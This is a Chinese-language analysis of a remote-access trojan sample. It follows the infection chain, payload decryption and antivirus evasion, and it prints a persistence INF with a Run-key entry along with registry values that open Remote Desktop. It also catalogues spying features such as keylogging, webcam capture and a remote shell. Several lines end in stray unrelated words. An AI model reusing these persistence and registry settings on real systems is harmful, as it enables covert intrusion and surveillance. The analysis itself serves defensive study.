樣本原文件 連接
個人分析過程包括提取的文件以及idb等 連接提示:請勿實體機分析
前端
文件名稱:樣本一.zip,解壓後有兩個快捷方式shell
顯示隱藏文件後,總共有6個文件瀏覽器
依次查看這幾個文件,bbs.bmp就是一張空白圖,nvwsrds.dll是自寫的一個動態庫,temp中包含一堆數據,png.bat中內容是網絡
(1). mkdir "%programfiles%"-建立目錄
(2). rundll32.exe nvwsrds.dll,avmode -fn wmmmnbjhgigh-使用nvwsrds.dll中的avmode函數,而且傳入參數wmmmnbjhgigh併發
IDA加載nvwsrd.dll,定位到avmode函數,靜態分析不友好,由於程序包含大量花指令,而且字符串時動態解密的ide
nvwimg.dll
建立目錄 C:\Users\py\AppData\Roaming\avmode,而後建立文件
C:\Users\py\AppData\Roaming\avmode\nvwimg.dll,最後將nvwseds.dll中的內容拷貝到nvwimg.dll中函數
temp
建立文件 C:\Users\py\AppData\Roaming\avmode\temp,將原目錄下的Temp文件內容複製到C:\Users\py\AppData\Roaming\avmode\temp網站
decrypt
當拷貝nvwimg.dll函數以後程序會加載C:\....\avmode\nvwimg.dll,而且退出當前的
nvwsrds.dll,進入nvwimg.dll以後程序會運行到解密temp的區域,首先讀取temp文件到內存,而後將數據以異或再相加的方式解密,解密以後程序直接跳轉到解密區域繼續執行spa
avmode.inf
以後程序調用解密後PE程序的Run函數,在Run函數中,建立文件
C:\Users\py\AppData\Roaming\avmode\avmode.inf,而且寫入數據操作系統
具體寫入的數據爲:
[Version]
Signature="$CHICAGO$"
Provider=t@t.com, 2002
[DefaultInstall]
; DelReg=run_DelReg
AddReg=run_AddReg
[run_DelReg]
[run_AddReg]
hkcu,"Software\Microsoft\Windows\CurrentVersion\Run","Update",,"rundll32.exe ""C:\Users\py\AppData\Roaming\avmode\Bitavmode.dll"",avmode"
[Strings]
獲取IP地址(1)
使用InternetOpenA初始化WinINet,InternetOpenUrlA鏈接到ip查詢網站ip38.com
獲取IP地址(2)
使用InternetOpenUrlA訪問http://t.qq.com/xiaokanrenshe...,而後InternetReadFile讀取返回的頁面代碼,strtok以」IP=」爲分割字符分割源碼字符串,從而獲得IP地址
創建套接字並通訊
和上面獲得的IP地址創建套接字鏈接與之通訊,並創建線程後臺接收數據
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
快捷方式2會調用LaunchINFSectionEx函數讀取avmode.inf添加註冊表鍵值
還有不少寫註冊表的操做,可是須要服務端發送命令再執行相應的操做,詳見功能描述
建立互斥體
使用CreateMutex建立互斥體
屢次調用ShellExcute
在nvwsrds.dll中調用兩次ShellExcute函數來運行rundll32.exe,第一次傳入打開圖片的函數來打開bbs.bmp,具體參數爲:」rundll32.exe shimgvw.dll,ImageView_Fullscreen c:\users\py\desktop\圖片\bbs.bmp」,第二次運行加載C盤nvwimg.dll中的avmode函數
在Run函數中調用一次ShellExcute來打開pdf.bmp
開啓線程對抗殺軟
枚舉系統進程,經過字符串比較,判斷是否含有殺毒進程
開啓線程發送本機系統信息
在線程中會獲取主機名,操做系統版本信息,套接字信息,當前系統信息,磁盤類型信息,磁盤大小容量,本地時間等等,某些信息或經過查詢註冊表項得到,而後發送給服務端
本地程序會根據服務端傳來的數據,執行相應的操做
獲取系統信息
使用GetVolumeInformation,GetLogicalDriveStrings,GetDiskFreeSpaceEx,GetDriveTypeA等API獲取磁盤相關信息
截屏
使用GetDesktopWindow,GetDC獲取設備上下文,GetSystemMetrics獲取主屏寬高,CreateCompatibleDC,CreateDIBSection,SelectObject建立位圖,SetRect,BitBlt重寫位圖實現截屏功能
開啓攝像頭
建立線程並使用capGetDriverDescription,capCreateCaptureWindow獲取攝像頭信息,以後使用IsWindow,SendMessage實現攝像頭監控,使用ICSendMessage,
ICSeqCompressFrameStart壓縮捕獲的視頻數據,後續發送給服務端
監控鍵盤輸入
先寫了一個完整的窗口程序包括註冊窗口類,建立窗口,刷新窗口以及窗口回調函數,在窗口回調函數中,使用GetForegroundWindow監控最前端的窗口並獲取窗口輸入框文本,使用GetKeyState獲取按鍵狀態,最後將獲取的輸入數據寫入C:\Windows\wininfo.dat
以後會有個線程讀取wininfo.dat併發送給服務端
錄音
創建線程,在線程中使用waveInGetNumDevs,waveInPrepareHeader,waveInOpen,
waveInStart打開錄音設備,錄音後保存在文件中併發送到服務端
遠程調用cmd
使用CreatePipe建立匿名管道,而後建立cmd.exe的進程,用管道完成進程間的通訊(由於遠控端只能控制這個進程須要管道與本進程外的進程通訊)
遠程關機
設置shutdown的權限後,調用ExitWindowsEx實現遠程關機
下載程序並執行
調用火狐或者IE之類的瀏覽器,打開特定的網頁(網址由參數給定),而後InternetOpenUrlA下載,InternetReadFile讀取下載數據,使用WriteFile寫入文件,最後CreateProcess建立進程運行下載文件
清空系統日誌
使用OpenEventLogA,ClearEventLogA清理系統日誌
開啓IE瀏覽器
打開註冊表」 HKEY_CLASSES_ROOT\Applications\iexplore.exe\shell\open\command」獲取value,即獲得IE的完整路徑,而後CreateProcess建立進程運行
獲取全部進程ID
CreateToolhelp32Snapshot建立進程快照,Process32First,Process32Next遍歷進程而後獲取進程信息包括進程名進程ID發送給服務端
獲取輸入框文字
使用EnumWindows配合WindowText枚舉全部窗口並得到編輯框文字,而後直接發送給服務端
開啓服務
使用OpenSCManagerA,OpenServiceA,StartServiceA以及CloseServiceHandle開啓任意服務
寫註冊表
寫註冊表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService
Value:Start=2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Value:Keeprasconnect=1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
Value:Fdenytsconnect=0
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Licensing Core
Value:Enableconcurre=1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService\Parameters
Value:Servicedll=%SystemRoot%system32termsrvhack.dll
彈窗
使用MessageBox彈窗
控制執行Userinit.exe
枚舉系統進程,當不存在explorer.exe是,調用cmd執行Userinit.exe
遠程關閉資源管理器
枚舉系統進程關閉explorer.exe資源管理器
該樣本是一個遠控木馬,兩個快捷方式是爲了釋放文件到C盤而且添加註冊表啓動,核心的木馬功能代碼隱藏得很深,須要加載nvwsrds.dll釋放運行nvwimg.dll,而後在nvwimg.dll中加載temp數據解密到內存而後跳轉到解密後的代碼區域
。在覈心木馬代碼中首先很是隱蔽的獲取了遠控端的IP地址而後與之創建套接字
,再開啓線程接收遠控端發來的指令從而執行對應的操做,最後還開線程清理系統常見的殺毒軟件進程
從而實現長久駐留!
該木馬實現的功能
有:獲取本機系統信息(包括磁盤類型,磁盤容量,文件屬性,系統版本,本地時間等),截取當前屏幕,開啓攝像頭,監控鍵盤輸入,錄音,遍歷本地可執行文件的全部模塊(module),遠程調用cmd,遠程關機,遠程下載任意文件到本機,清空系統日誌,打開IE瀏覽器,寫註冊表關鍵位置,建立可執行文件並運行,發送本機全部進程名及進程ID,枚舉全部窗口程序的輸入框獲取輸入文字,開啓任意服務,獲取特定進程的空閒時間,彈窗,遠程執行Userinit.exe,遠程關閉資源管理器explorer.exe